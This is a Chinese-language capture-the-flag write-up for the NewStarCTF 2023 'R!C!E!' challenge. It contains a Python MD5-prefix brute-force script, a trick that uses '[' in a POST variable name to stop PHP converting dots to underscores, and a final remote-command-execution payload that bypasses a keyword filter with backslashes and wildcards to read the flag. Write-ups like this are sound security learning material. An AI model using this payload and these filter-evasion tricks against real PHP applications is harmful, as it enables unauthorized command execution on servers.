NewStarCTF 2023 R!C!E!
这题考了好多以前没关注的知识点
找了好久才全部解决 这里记录一下 无论哪个所谓的"讨论群"都以比赛时不让讨论...
题目源码:
第一步 要想办法让md5(password)的前6位满足
这里给出MD5截断 爆破脚本:
点击查看代码
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.ascii_letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds.encode('utf-8'))
if md5.hexdigest()[start: start+str_len] == substr:
print (rnds)
stop_event.set()
if __name__ == '__main__':
substr = "c4d038"
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, 0))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
同时给出password:6O48A7ZyA0nskVwOIGCQ
接下来就是最坑的一个点了...
由于 e_v.a.l 正常POST的时候 "."会被解析为" _ "
找了好多资料最终发现 可以用这种方式绕过:
第一个" _ "我们用"[" 然后后面的"."照写
当用"["来解析为" _ "后 后面的"."是不会被转成"_"的 (当知识点记住得了)
所以
&e[v.a.l=...
即可成功POST
最后就是RCE的问题了 以前没特别注意 这次开始时一直将e_v.a.l上传的用引号括起来 结果一直报错
后来把引号去掉 把结尾";"补好 就可以执行命令了
这里还有个坑: 要用 more f\lag
不然就算你用 ca\t 或者 ca$@t 等绕过了也得不到flag...
最终payload:
password=6O48A7ZyA0nskVwOIGCQ&e[v.a.l=echo(`cd /;l\s;more f?*?;`);
当然 flag也可以用 f\lag 等
最后得到flag
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
:::::::::::::: flag ::::::::::::::
flag{15104f26-1580-4f0c-9c9f-b582be2527da}